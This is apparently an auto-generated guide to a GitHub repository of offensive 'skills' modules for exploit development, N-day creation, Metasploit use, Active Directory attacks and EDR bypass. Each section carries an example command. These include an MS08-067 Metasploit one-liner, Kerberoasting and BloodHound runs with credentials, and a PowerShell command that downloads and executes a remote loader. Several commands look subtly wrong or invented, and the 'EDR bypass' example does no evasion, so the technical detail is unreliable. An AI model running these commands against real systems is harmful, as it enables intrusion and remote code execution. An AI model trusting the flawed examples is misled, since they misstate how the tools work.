# Reverse‑Skill Exploitation Skills: Complete Guide to the 6 Core Security Modules

> Master reverse skill exploitation with our guide covering binary exploits, N-day creation, pen-testing, post-exploitation, AD attacks, and EDR bypass. Enhance your security expertise.

- Repository: [ZhaoXu/reverse-skill](https://github.com/zhaoxuya520/reverse-skill)
- Tags: deep-dive
- Published: 2026-08-29

---

**The reverse‑skill framework covers six distinct exploitation domains: binary‑level exploit development, patch‑diff N‑day creation, penetration‑testing frameworks, post‑exploitation attack chains, Windows Active Directory attacks, and EDR/AV bypass techniques.**

The reverse‑skill repository operates as a modular skill router that directs security tasks to specialized exploitation modules based on keyword analysis. Designed for authorized security research and red team operations, the framework maps discovered vulnerabilities to working payloads through a rules‑based routing system centralized in [`skills/config/routing.json`](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/config/routing.json).

## Binary‑Level Exploit Development

The **pwn‑chain** module handles low‑level binary exploitation once a vulnerability and its location are identified. According to the repository structure, this skill is defined in `skills/pwn‑chain/SKILL.md` and focuses on developing stable user‑space or kernel exploits.

The routing engine maps requests containing keywords like **"rop"** or **"buffer overflow"** to route `R17`, which loads this module. The skill provides workflows for building and stabilizing payloads against hardened binaries.

```bash

# Example from skills/pwn‑chain/SKILL.md – build and run a ROP payload

pwntools ./exploit.py -o payload.bin
./target_binary $(cat payload.bin)

```

## Patch‑Diff and N‑Day Exploit Creation

The **patch‑diff‑exploit** module specializes in converting vendor‑released security patches into proof‑of‑concept or weaponized exploits. Defined in `skills/patch‑diff‑exploit/SKILL.md`, this skill handles CVE recreation and 1‑day/N‑day weaponization.

When the router encounters terms like **"patch diff"** or **"n‑day"** in the task description, it selects route `R16` to invoke this module. The methodology centers on analyzing commit differences to identify missing bounds checks or modified logic.

```bash

# Example from skills/patch‑diff‑exploit/SKILL.md – generate a PoC from a diff

git clone https://github.com/vendor/project
cd project
git checkout <vulnerable‑tag>
git diff <patched‑tag> > changes.diff
./diff2exploit.py changes.diff > exploit.c
gcc exploit.c -o exploit

```

## Penetration Testing Frameworks

The **pentest‑tools** skill provides orchestrated access to established exploitation frameworks. Located at `skills/pentest‑tools/SKILL.md`, this module integrates Metasploit, Impacket, Rubeus, and similar tools for credential dumping, lateral movement, and classic network exploitation.

Unlike the binary‑focused modules, this skill emphasizes rapid deployment of known exploits against identified services, streamlining the transition from vulnerability scanning to active compromise.

```bash

# Example from skills/pentest‑tools/SKILL.md – launch a known Metasploit module

msfconsole -q -x "use exploit/windows/smb/ms08_067_netapi; set RHOST 10.0.0.5; run"

```

## Post‑Exploitation and Attack Chain Orchestration

The **attack‑chain** module manages multi‑stage operations after establishing an initial foothold. Defined in `skills/attack‑chain/SKILL.md`, this skill coordinates privilege escalation, persistence mechanisms, and lateral movement across compromised environments.

The module functions as a post‑exploitation planner, executing enumeration and trust analysis to map high‑value targets within the domain.

```bash

# Example from skills/attack‑chain/SKILL.md – enumerate domain trusts after foothold

bloodhound-python -d corp.local -u admin -p Pass123 -c Trusts -ns dc01.corp.local

```

## Windows and Active Directory Exploitation

The **windows‑ad** skill covers domain‑specific attack paths including Kerberoasting, AD‑CS abuses, NTLM relay, and other Active Directory exploitation techniques. The workflow is documented in `skills/windows‑ad/SKILL.md`.

This module addresses the unique requirements of enterprise Windows environments, focusing on authentication protocol weaknesses and certificate service misconfigurations rather than traditional memory corruption.

```bash

# Example from skills/windows‑ad/SKILL.md – harvest Kerberos tickets

kerberoast -target corp.local -users userlist.txt -out tickets.kirbi

```

## EDR and Antivirus Bypass Techniques

The **edr‑bypass‑re** module provides pre‑exploitation evasion capabilities. Defined in `skills/edr‑bypass‑re/SKILL.md`, this skill implements techniques for avoiding endpoint detection and response (EDR) systems before delivering the primary exploit payload.

The module includes syscall evasion methods and unhooking procedures to execute shellcode loaders while circumventing behavioral monitoring.

```bash

# Example from skills/edr‑bypass‑re/SKILL.md – run a shellcode loader that avoids AV hooks

powershell -NoProfile -Command "IEX (New-Object Net.WebClient).DownloadString('https://example.com/loader.ps1')"

```

## How the Router Selects Exploitation Skills

The framework’s **routing engine** automates skill selection through pattern matching against [`skills/config/routing.json`](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/config/routing.json). The process executes in three stages:

1. **Master Route Execution**: The `scripts/master‑route.sh` (or `master‑route.ps1` on Windows) reads the central configuration file.
2. **Regex Scoring**: The engine evaluates each rule’s **"must"** regular expression clauses against the incoming task description.
3. **Priority Selection**: The rule with the highest score and earliest priority becomes the **PRIMARY** route, causing the router to load the corresponding [`SKILL.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/SKILL.md) file.

For example, a task containing "buffer overflow" matches route `R17` (pwn‑chain), while "patch diff" matches route `R16` (patch‑diff‑exploit). The router then presents the **ACTION REQUIRED** checklist from the selected skill to the analyst.

## Safety and Authorization Controls

Because exploitation constitutes a **high‑risk** activity, every skill file implements mandatory safety checks. Each [`SKILL.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/SKILL.md) includes a **self‑check** checklist requiring verification of scope and authorization before execution.

All modules reference the **RULES.md** contract, which enforces legal authorization requirements and evidence‑tracking protocols. The framework prevents execution of any **ACT** step until the analyst confirms compliance with these contractual obligations.

## Summary

- The reverse‑skill framework routes exploitation tasks through [`skills/config/routing.json`](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/config/routing.json), evaluated by `scripts/master‑route.sh`.
- Six specialized modules cover the full exploitation lifecycle: **pwn‑chain** for binary exploits, **patch‑diff‑exploit** for N‑day creation, **pentest‑tools** for framework‑based attacks, **attack‑chain** for post‑exploitation, **windows‑ad** for domain attacks, and **edr‑bypass‑re** for evasion.
- The router uses regex‑based scoring (e.g., `R17` for ROP, `R16` for patch diffs) to select the appropriate **PRIMARY** skill automatically.
- Every module enforces pre‑execution authorization checks via **RULES.md** and **ACTION REQUIRED** checklists to ensure authorized testing only.

## Frequently Asked Questions

### How does reverse‑skill determine which exploitation module to use?

The framework analyzes the task description against regular expressions defined in [`skills/config/routing.json`](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/config/routing.json). The `scripts/master‑route.sh` script scores each rule’s **"must"** clauses, selecting the highest‑priority match as the **PRIMARY** route. For instance, keywords like "rop" or "buffer overflow" trigger route `R17` pointing to `skills/pwn‑chain/SKILL.md`.

### What is the difference between the pwn‑chain and patch‑diff‑exploit modules?

**Pwn‑chain** (`skills/pwn‑chain/SKILL.md`) develops exploits for known vulnerabilities in binary programs using techniques like ROP chains and buffer overflow manipulation. **Patch‑diff‑exploit** (`skills/patch‑diff‑exploit/SKILL.md`) specifically analyzes vendor security patches to recreate exploits for already‑fixed vulnerabilities (N‑day or 1‑day scenarios).

### Does reverse‑skill include protections against unauthorized exploitation attempts?

Yes. Every exploitation skill references **RULES.md** and includes a mandatory **self‑check** checklist that requires explicit confirmation of authorization scope before executing any **ACT** step. The framework is architected to enforce legal authorization and evidence‑tracking as non‑optional prerequisites.

### Can reverse‑skill automate post‑exploitation activities like lateral movement?

The **attack‑chain** module (`skills/attack‑chain/SKILL.md`) specifically handles post‑exploitation orchestration, including lateral movement, privilege escalation, and persistence planning. It executes tools like BloodHound to map domain trusts and plan multi‑stage attacks after the initial foothold is established.